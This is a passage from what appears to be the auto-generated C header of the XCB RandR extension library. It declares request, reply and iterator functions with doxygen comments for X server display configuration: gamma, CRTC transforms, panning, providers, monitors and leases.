xcb_randr_set_crtc_gamma (xcb_connection_t *c, xcb_randr_crtc_t crtc, uint16_t size, const uint16_t *red, const uint16_t *green, const uint16_t *blue); uint16_t * xcb_randr_set_crtc_gamma_red (const xcb_randr_set_crtc_gamma_request_t *R); int xcb_randr_set_crtc_gamma_red_length (const xcb_randr_set_crtc_gamma_request_t *R); xcb_generic_iterator_t xcb_randr_set_crtc_gamma_red_end (const xcb_randr_set_crtc_gamma_request_t *R); uint16_t * xcb_randr_set_crtc_gamma_green (const xcb_randr_set_crtc_gamma_request_t *R); int xcb_randr_set_crtc_gamma_green_length (const xcb_randr_set_crtc_gamma_request_t *R); xcb_generic_iterator_t xcb_randr_set_crtc_gamma_green_end (const xcb_randr_set_crtc_gamma_request_t *R); uint16_t * xcb_randr_set_crtc_gamma_blue (const xcb_randr_set_crtc_gamma_request_t *R); int xcb_randr_set_crtc_gamma_blue_length (const xcb_randr_set_crtc_gamma_request_t *R); xcb_generic_iterator_t xcb_randr_set_crtc_gamma_blue_end (const xcb_randr_set_crtc_gamma_request_t *R); int xcb_randr_get_screen_resources_current_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_screen_resources_current_cookie_t xcb_randr_get_screen_resources_current (xcb_connection_t *c, xcb_window_t window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_screen_resources_current_cookie_t xcb_randr_get_screen_resources_current_unchecked (xcb_connection_t *c, xcb_window_t window); xcb_randr_crtc_t * xcb_randr_get_screen_resources_current_crtcs (const xcb_randr_get_screen_resources_current_reply_t *R); int xcb_randr_get_screen_resources_current_crtcs_length (const xcb_randr_get_screen_resources_current_reply_t *R); xcb_generic_iterator_t xcb_randr_get_screen_resources_current_crtcs_end (const xcb_randr_get_screen_resources_current_reply_t *R); xcb_randr_output_t * xcb_randr_get_screen_resources_current_outputs (const xcb_randr_get_screen_resources_current_reply_t *R); int xcb_randr_get_screen_resources_current_outputs_length (const xcb_randr_get_screen_resources_current_reply_t *R); xcb_generic_iterator_t xcb_randr_get_screen_resources_current_outputs_end (const xcb_randr_get_screen_resources_current_reply_t *R); xcb_randr_mode_info_t * xcb_randr_get_screen_resources_current_modes (const xcb_randr_get_screen_resources_current_reply_t *R); int xcb_randr_get_screen_resources_current_modes_length (const xcb_randr_get_screen_resources_current_reply_t *R); xcb_randr_mode_info_iterator_t xcb_randr_get_screen_resources_current_modes_iterator (const xcb_randr_get_screen_resources_current_reply_t *R); uint8_t * xcb_randr_get_screen_resources_current_names (const xcb_randr_get_screen_resources_current_reply_t *R); int xcb_randr_get_screen_resources_current_names_length (const xcb_randr_get_screen_resources_current_reply_t *R); xcb_generic_iterator_t xcb_randr_get_screen_resources_current_names_end (const xcb_randr_get_screen_resources_current_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_screen_resources_current_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_screen_resources_current_reply_t * xcb_randr_get_screen_resources_current_reply (xcb_connection_t *c, xcb_randr_get_screen_resources_current_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_randr_set_crtc_transform_sizeof (const void *_buffer, uint32_t filter_params_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_set_crtc_transform_checked (xcb_connection_t *c, xcb_randr_crtc_t crtc, xcb_render_transform_t transform, uint16_t filter_len, const char *filter_name, uint32_t filter_params_len, const xcb_render_fixed_t *filter_params); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_set_crtc_transform (xcb_connection_t *c, xcb_randr_crtc_t crtc, xcb_render_transform_t transform, uint16_t filter_len, const char *filter_name, uint32_t filter_params_len, const xcb_render_fixed_t *filter_params); char * xcb_randr_set_crtc_transform_filter_name (const xcb_randr_set_crtc_transform_request_t *R); int xcb_randr_set_crtc_transform_filter_name_length (const xcb_randr_set_crtc_transform_request_t *R); xcb_generic_iterator_t xcb_randr_set_crtc_transform_filter_name_end (const xcb_randr_set_crtc_transform_request_t *R); xcb_render_fixed_t * xcb_randr_set_crtc_transform_filter_params (const xcb_randr_set_crtc_transform_request_t *R); int xcb_randr_set_crtc_transform_filter_params_length (const xcb_randr_set_crtc_transform_request_t *R); xcb_generic_iterator_t xcb_randr_set_crtc_transform_filter_params_end (const xcb_randr_set_crtc_transform_request_t *R); int xcb_randr_get_crtc_transform_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_crtc_transform_cookie_t xcb_randr_get_crtc_transform (xcb_connection_t *c, xcb_randr_crtc_t crtc); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_crtc_transform_cookie_t xcb_randr_get_crtc_transform_unchecked (xcb_connection_t *c, xcb_randr_crtc_t crtc); char * xcb_randr_get_crtc_transform_pending_filter_name (const xcb_randr_get_crtc_transform_reply_t *R); int xcb_randr_get_crtc_transform_pending_filter_name_length (const xcb_randr_get_crtc_transform_reply_t *R); xcb_generic_iterator_t xcb_randr_get_crtc_transform_pending_filter_name_end (const xcb_randr_get_crtc_transform_reply_t *R); xcb_render_fixed_t * xcb_randr_get_crtc_transform_pending_params (const xcb_randr_get_crtc_transform_reply_t *R); int xcb_randr_get_crtc_transform_pending_params_length (const xcb_randr_get_crtc_transform_reply_t *R); xcb_generic_iterator_t xcb_randr_get_crtc_transform_pending_params_end (const xcb_randr_get_crtc_transform_reply_t *R); char * xcb_randr_get_crtc_transform_current_filter_name (const xcb_randr_get_crtc_transform_reply_t *R); int xcb_randr_get_crtc_transform_current_filter_name_length (const xcb_randr_get_crtc_transform_reply_t *R); xcb_generic_iterator_t xcb_randr_get_crtc_transform_current_filter_name_end (const xcb_randr_get_crtc_transform_reply_t *R); xcb_render_fixed_t * xcb_randr_get_crtc_transform_current_params (const xcb_randr_get_crtc_transform_reply_t *R); int xcb_randr_get_crtc_transform_current_params_length (const xcb_randr_get_crtc_transform_reply_t *R); xcb_generic_iterator_t xcb_randr_get_crtc_transform_current_params_end (const xcb_randr_get_crtc_transform_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_crtc_transform_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_crtc_transform_reply_t * xcb_randr_get_crtc_transform_reply (xcb_connection_t *c, xcb_randr_get_crtc_transform_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_panning_cookie_t xcb_randr_get_panning (xcb_connection_t *c, xcb_randr_crtc_t crtc); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_panning_cookie_t xcb_randr_get_panning_unchecked (xcb_connection_t *c, xcb_randr_crtc_t crtc); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_panning_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_panning_reply_t * xcb_randr_get_panning_reply (xcb_connection_t *c, xcb_randr_get_panning_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_set_panning_cookie_t xcb_randr_set_panning (xcb_connection_t *c, xcb_randr_crtc_t crtc, xcb_timestamp_t timestamp, uint16_t left, uint16_t top, uint16_t width, uint16_t height, uint16_t track_left, uint16_t track_top, uint16_t track_width, uint16_t track_height, int16_t border_left, int16_t border_top, int16_t border_right, int16_t border_bottom); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_set_panning_cookie_t xcb_randr_set_panning_unchecked (xcb_connection_t *c, xcb_randr_crtc_t crtc, xcb_timestamp_t timestamp, uint16_t left, uint16_t top, uint16_t width, uint16_t height, uint16_t track_left, uint16_t track_top, uint16_t track_width, uint16_t track_height, int16_t border_left, int16_t border_top, int16_t border_right, int16_t border_bottom); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_set_panning_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_set_panning_reply_t * xcb_randr_set_panning_reply (xcb_connection_t *c, xcb_randr_set_panning_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_set_output_primary_checked (xcb_connection_t *c, xcb_window_t window, xcb_randr_output_t output); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_set_output_primary (xcb_connection_t *c, xcb_window_t window, xcb_randr_output_t output); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_output_primary_cookie_t xcb_randr_get_output_primary (xcb_connection_t *c, xcb_window_t window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_output_primary_cookie_t xcb_randr_get_output_primary_unchecked (xcb_connection_t *c, xcb_window_t window); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_output_primary_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_output_primary_reply_t * xcb_randr_get_output_primary_reply (xcb_connection_t *c, xcb_randr_get_output_primary_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_randr_get_providers_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_providers_cookie_t xcb_randr_get_providers (xcb_connection_t *c, xcb_window_t window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_providers_cookie_t xcb_randr_get_providers_unchecked (xcb_connection_t *c, xcb_window_t window); xcb_randr_provider_t * xcb_randr_get_providers_providers (const xcb_randr_get_providers_reply_t *R); int xcb_randr_get_providers_providers_length (const xcb_randr_get_providers_reply_t *R); xcb_generic_iterator_t xcb_randr_get_providers_providers_end (const xcb_randr_get_providers_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_providers_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_providers_reply_t * xcb_randr_get_providers_reply (xcb_connection_t *c, xcb_randr_get_providers_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_randr_get_provider_info_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_provider_info_cookie_t xcb_randr_get_provider_info (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_timestamp_t config_timestamp); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_provider_info_cookie_t xcb_randr_get_provider_info_unchecked (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_timestamp_t config_timestamp); xcb_randr_crtc_t * xcb_randr_get_provider_info_crtcs (const xcb_randr_get_provider_info_reply_t *R); int xcb_randr_get_provider_info_crtcs_length (const xcb_randr_get_provider_info_reply_t *R); xcb_generic_iterator_t xcb_randr_get_provider_info_crtcs_end (const xcb_randr_get_provider_info_reply_t *R); xcb_randr_output_t * xcb_randr_get_provider_info_outputs (const xcb_randr_get_provider_info_reply_t *R); int xcb_randr_get_provider_info_outputs_length (const xcb_randr_get_provider_info_reply_t *R); xcb_generic_iterator_t xcb_randr_get_provider_info_outputs_end (const xcb_randr_get_provider_info_reply_t *R); xcb_randr_provider_t * xcb_randr_get_provider_info_associated_providers (const xcb_randr_get_provider_info_reply_t *R); int xcb_randr_get_provider_info_associated_providers_length (const xcb_randr_get_provider_info_reply_t *R); xcb_generic_iterator_t xcb_randr_get_provider_info_associated_providers_end (const xcb_randr_get_provider_info_reply_t *R); uint32_t * xcb_randr_get_provider_info_associated_capability (const xcb_randr_get_provider_info_reply_t *R); int xcb_randr_get_provider_info_associated_capability_length (const xcb_randr_get_provider_info_reply_t *R); xcb_generic_iterator_t xcb_randr_get_provider_info_associated_capability_end (const xcb_randr_get_provider_info_reply_t *R); char * xcb_randr_get_provider_info_name (const xcb_randr_get_provider_info_reply_t *R); int xcb_randr_get_provider_info_name_length (const xcb_randr_get_provider_info_reply_t *R); xcb_generic_iterator_t xcb_randr_get_provider_info_name_end (const xcb_randr_get_provider_info_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_provider_info_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_provider_info_reply_t * xcb_randr_get_provider_info_reply (xcb_connection_t *c, xcb_randr_get_provider_info_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_set_provider_offload_sink_checked (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_randr_provider_t sink_provider, xcb_timestamp_t config_timestamp); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_set_provider_offload_sink (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_randr_provider_t sink_provider, xcb_timestamp_t config_timestamp); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_set_provider_output_source_checked (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_randr_provider_t source_provider, xcb_timestamp_t config_timestamp); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_set_provider_output_source (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_randr_provider_t source_provider, xcb_timestamp_t config_timestamp); int xcb_randr_list_provider_properties_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_list_provider_properties_cookie_t xcb_randr_list_provider_properties (xcb_connection_t *c, xcb_randr_provider_t provider); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_list_provider_properties_cookie_t xcb_randr_list_provider_properties_unchecked (xcb_connection_t *c, xcb_randr_provider_t provider); xcb_atom_t * xcb_randr_list_provider_properties_atoms (const xcb_randr_list_provider_properties_reply_t *R); int xcb_randr_list_provider_properties_atoms_length (const xcb_randr_list_provider_properties_reply_t *R); xcb_generic_iterator_t xcb_randr_list_provider_properties_atoms_end (const xcb_randr_list_provider_properties_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_list_provider_properties_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_list_provider_properties_reply_t * xcb_randr_list_provider_properties_reply (xcb_connection_t *c, xcb_randr_list_provider_properties_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_randr_query_provider_property_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_query_provider_property_cookie_t xcb_randr_query_provider_property (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_atom_t property); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_query_provider_property_cookie_t xcb_randr_query_provider_property_unchecked (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_atom_t property); int32_t * xcb_randr_query_provider_property_valid_values (const xcb_randr_query_provider_property_reply_t *R); int xcb_randr_query_provider_property_valid_values_length (const xcb_randr_query_provider_property_reply_t *R); xcb_generic_iterator_t xcb_randr_query_provider_property_valid_values_end (const xcb_randr_query_provider_property_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_query_provider_property_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_query_provider_property_reply_t * xcb_randr_query_provider_property_reply (xcb_connection_t *c, xcb_randr_query_provider_property_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_randr_configure_provider_property_sizeof (const void *_buffer, uint32_t values_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_configure_provider_property_checked (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_atom_t property, uint8_t pending, uint8_t range, uint32_t values_len, const int32_t *values); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_configure_provider_property (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_atom_t property, uint8_t pending, uint8_t range, uint32_t values_len, const int32_t *values); int32_t * xcb_randr_configure_provider_property_values (const xcb_randr_configure_provider_property_request_t *R); int xcb_randr_configure_provider_property_values_length (const xcb_randr_configure_provider_property_request_t *R); xcb_generic_iterator_t xcb_randr_configure_provider_property_values_end (const xcb_randr_configure_provider_property_request_t *R); int xcb_randr_change_provider_property_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_change_provider_property_checked (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_atom_t property, xcb_atom_t type, uint8_t format, uint8_t mode, uint32_t num_items, const void *data); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_change_provider_property (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_atom_t property, xcb_atom_t type, uint8_t format, uint8_t mode, uint32_t num_items, const void *data); void * xcb_randr_change_provider_property_data (const xcb_randr_change_provider_property_request_t *R); int xcb_randr_change_provider_property_data_length (const xcb_randr_change_provider_property_request_t *R); xcb_generic_iterator_t xcb_randr_change_provider_property_data_end (const xcb_randr_change_provider_property_request_t *R); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_delete_provider_property_checked (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_atom_t property); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_delete_provider_property (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_atom_t property); int xcb_randr_get_provider_property_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_provider_property_cookie_t xcb_randr_get_provider_property (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_atom_t property, xcb_atom_t type, uint32_t long_offset, uint32_t long_length, uint8_t _delete, uint8_t pending); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_provider_property_cookie_t xcb_randr_get_provider_property_unchecked (xcb_connection_t *c, xcb_randr_provider_t provider, xcb_atom_t property, xcb_atom_t type, uint32_t long_offset, uint32_t long_length, uint8_t _delete, uint8_t pending); void * xcb_randr_get_provider_property_data (const xcb_randr_get_provider_property_reply_t *R); int xcb_randr_get_provider_property_data_length (const xcb_randr_get_provider_property_reply_t *R); xcb_generic_iterator_t xcb_randr_get_provider_property_data_end (const xcb_randr_get_provider_property_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_provider_property_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_provider_property_reply_t * xcb_randr_get_provider_property_reply (xcb_connection_t *c, xcb_randr_get_provider_property_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_crtc_change_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_crtc_change_t) */ void xcb_randr_crtc_change_next (xcb_randr_crtc_change_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_crtc_change_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_crtc_change_end (xcb_randr_crtc_change_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_output_change_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_output_change_t) */ void xcb_randr_output_change_next (xcb_randr_output_change_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_output_change_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_output_change_end (xcb_randr_output_change_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_output_property_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_output_property_t) */ void xcb_randr_output_property_next (xcb_randr_output_property_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_output_property_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_output_property_end (xcb_randr_output_property_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_provider_change_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_provider_change_t) */ void xcb_randr_provider_change_next (xcb_randr_provider_change_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_provider_change_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_provider_change_end (xcb_randr_provider_change_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_provider_property_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_provider_property_t) */ void xcb_randr_provider_property_next (xcb_randr_provider_property_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_provider_property_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_provider_property_end (xcb_randr_provider_property_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_resource_change_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_resource_change_t) */ void xcb_randr_resource_change_next (xcb_randr_resource_change_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_resource_change_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_resource_change_end (xcb_randr_resource_change_iterator_t i); int xcb_randr_monitor_info_sizeof (const void *_buffer); xcb_randr_output_t * xcb_randr_monitor_info_outputs (const xcb_randr_monitor_info_t *R); int xcb_randr_monitor_info_outputs_length (const xcb_randr_monitor_info_t *R); xcb_generic_iterator_t xcb_randr_monitor_info_outputs_end (const xcb_randr_monitor_info_t *R); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_monitor_info_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_monitor_info_t) */ void xcb_randr_monitor_info_next (xcb_randr_monitor_info_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_monitor_info_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_monitor_info_end (xcb_randr_monitor_info_iterator_t i); int xcb_randr_get_monitors_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_monitors_cookie_t xcb_randr_get_monitors (xcb_connection_t *c, xcb_window_t window, uint8_t get_active); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_monitors_cookie_t xcb_randr_get_monitors_unchecked (xcb_connection_t *c, xcb_window_t window, uint8_t get_active); int xcb_randr_get_monitors_monitors_length (const xcb_randr_get_monitors_reply_t *R); xcb_randr_monitor_info_iterator_t xcb_randr_get_monitors_monitors_iterator (const xcb_randr_get_monitors_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_monitors_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_monitors_reply_t * xcb_randr_get_monitors_reply (xcb_connection_t *c, xcb_randr_get_monitors_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_randr_set_monitor_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_set_monitor_checked (xcb_connection_t *c, xcb_window_t window, xcb_randr_monitor_info_t *monitorinfo); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_set_monitor (xcb_connection_t *c, xcb_window_t window, xcb_randr_monitor_info_t *monitorinfo); xcb_randr_monitor_info_t * xcb_randr_set_monitor_monitorinfo (const xcb_randr_set_monitor_request_t *R); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_delete_monitor_checked (xcb_connection_t *c, xcb_window_t window, xcb_atom_t name); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_delete_monitor (xcb_connection_t *c, xcb_window_t window, xcb_atom_t name); int xcb_randr_create_lease_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_create_lease_cookie_t xcb_randr_create_lease (xcb_connection_t *c, xcb_window_t window, xcb_randr_lease_t lid, uint16_t num_crtcs, uint16_t num_outputs, const xcb_randr_crtc_t *crtcs, const xcb_randr_output_t *outputs); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_create_lease_cookie_t xcb_randr_create_lease_unchecked (xcb_connection_t *c, xcb_window_t window, xcb_randr_lease_t lid, uint16_t num_crtcs, uint16_t num_outputs, const xcb_randr_crtc_t *crtcs, const xcb_randr_output_t *outputs); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_create_lease_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_create_lease_reply_t * xcb_randr_create_lease_reply (xcb_connection_t *c, xcb_randr_create_lease_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * Return the reply fds * @param c The connection * @param reply The reply * * Returns the array of reply fds of the request asked by * * The returned value must be freed by the caller using free(). */ int * xcb_randr_create_lease_reply_fds (xcb_connection_t *c /**< */, xcb_randr_create_lease_reply_t *reply); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_free_lease_checked (xcb_connection_t *c, xcb_randr_lease_t lid, uint8_t terminate); /** * * @param c The connection * @return A cookie * * Delivers a request to 